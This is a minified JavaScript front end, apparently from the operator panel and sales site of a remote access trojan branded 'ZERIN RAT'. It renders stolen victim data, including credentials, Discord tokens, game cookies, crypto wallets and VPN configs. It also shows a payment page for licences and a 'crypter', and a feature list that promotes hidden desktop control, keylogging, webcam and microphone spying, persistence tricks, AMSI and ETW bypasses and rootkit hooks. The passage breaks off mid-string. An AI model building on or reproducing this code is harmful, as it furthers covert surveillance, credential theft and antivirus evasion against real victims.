text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.windows_credentials.map((L,ie)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${L.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[L.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),L.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.username,de),children:L.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx($n,{title:"Discord Tokens",count:((U=c.discord_tokens)==null?void 0:U.length)??0,expanded:d.has("discord"),onToggle:()=>k("discord"),children:(V=c.discord_tokens)!=null&&V.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.discord_tokens.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:de=>S(L.token,de),children:[L.token.slice(0,20),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx($n,{title:"Applications",count:((Z=c.telegram)!=null&&Z.found?1:0)+(((ae=c.filezilla)==null?void 0:ae.length)??0)+(((ue=c.winscp)==null?void 0:ue.length)??0)+(((be=c.putty)==null?void 0:be.length)??0)+(((ye=c.outlook)==null?void 0:ye.length)??0),expanded:d.has("apps"),onToggle:()=>k("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((q=c.telegram)==null?void 0:q.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),a.jsx("p",{className:"text-xs text-zerin-text font-mono mb-1",children:a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:L=>S(c.telegram.path,L),children:c.telegram.path})}),(((te=c.telegram.files)==null?void 0:te.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:c.telegram.files.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))})]}),(((C=c.filezilla)==null?void 0:C.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",c.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.filezilla.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((Y=c.winscp)==null?void 0:Y.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",c.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.winscp.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((ne=c.putty)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",c.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.putty.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:L.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user})]},ie))})})]}),(((B=c.outlook)==null?void 0:B.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",c.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.outlook.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),!((le=c.telegram)!=null&&le.found)&&!((we=c.filezilla)!=null&&we.length)&&!((Ne=c.winscp)!=null&&Ne.length)&&!((Ae=c.putty)!=null&&Ae.length)&&!(($=c.outlook)!=null&&$.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx($n,{title:"Gaming Sessions",count:((fe=c.steam)!=null&&fe.found?1:0)+((ve=c.epic)!=null&&ve.found?1:0)+(((H=c.minecraft)==null?void 0:H.length)??0)+((se=c.roblox)!=null&&se.found?1:0),expanded:d.has("gaming"),onToggle:()=>k("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((W=c.steam)==null?void 0:W.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[c.steam.loginusers&&a.jsxs("button",{onClick:()=>yr(c.steam.loginusers,"loginusers.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," loginusers.vdf"]}),c.steam.config&&a.jsxs("button",{onClick:()=>yr(c.steam.config,"config.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," config.vdf"]}),(Q=c.steam.ssfn_files)==null?void 0:Q.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))]})]}),((he=c.epic)==null?void 0:he.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>yr(c.epic.config,"GameUserSettings.ini"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," GameUserSettings.ini"]})]}),(((E=c.minecraft)==null?void 0:E.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",c.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:c.minecraft.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,`${L.launcher}_accounts.json`),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.launcher]},ie))})]}),((ce=c.roblox)==null?void 0:ce.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),c.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:L=>S(c.roblox.cookie,L),children:[".ROBLOSECURITY: ",c.roblox.cookie.slice(0,40),"..."]}):c.roblox.cookie_file?a.jsxs("button",{onClick:()=>yr(c.roblox.cookie_file,"RobloxCookies.dat"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," RobloxCookies.dat"]}):null]}),!((J=c.steam)!=null&&J.found)&&!((xe=c.epic)!=null&&xe.found)&&!((ke=c.minecraft)!=null&&ke.length)&&!((ze=c.roblox)!=null&&ze.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx($n,{title:"Crypto Wallets",count:((X=c.wallets)==null?void 0:X.length)??0,expanded:d.has("wallets"),onToggle:()=>k("wallets"),children:(re=c.wallets)!=null&&re.length?a.jsx("div",{className:"space-y-3 p-4",children:c.wallets.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx($n,{title:"VPN Configs",count:((oe=c.vpn)==null?void 0:oe.length)??0,expanded:d.has("vpn"),onToggle:()=>k("vpn"),children:(Oe=c.vpn)!=null&&Oe.length?a.jsx("div",{className:"space-y-3 p-4",children:c.vpn.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((et=c.errors)==null?void 0:et.length)??0)>0&&a.jsx($n,{title:"Errors",count:c.errors.length,expanded:d.has("errors"),onToggle:()=>k("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:c.errors.map((L,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[L.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:L.error})]},ie))})})]})]})}),p&&a.jsx("div",{className:"fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent pointer-events-none animate-fade-in",style:{left:p.x,top:p.y,transform:"translate(-50%, -100%)"},children:p.text})]})}function $n({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:"w-full flex items-center gap-2 px-4 py-2.5 text-left hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}async function FV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const WV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function UV(){const{id:e}=il(),[t,n]=m.useState(null),[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useCallback(async()=>{if(e)try{const f=await FV(e);n(f)}catch{i("Payment not found")}},[e]);m.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";m.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?WV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),a.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs(xt,{to:"/",className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),a.jsx(xt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),a.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:a.jsx("div",{className:"w-full max-w-lg",children:r?a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),a.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),a.jsx(xt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),a.jsxs("div",{className:"flex items-center gap-2",children:[!c&&a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),a.jsxs("div",{className:"px-6 py-6 space-y-6",children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),a.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),a.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),a.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&a.jsxs("div",{children:[a.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),a.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&a.jsxs("div",{className:"space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),a.jsx("div",{className:"flex items-center gap-2",children:a.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),a.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:s?"Copied!":"Copy Key"}),a.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",a.jsx(xt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&a.jsxs("div",{className:"text-center space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),a.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),a.jsx(xt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),a.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Vi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every 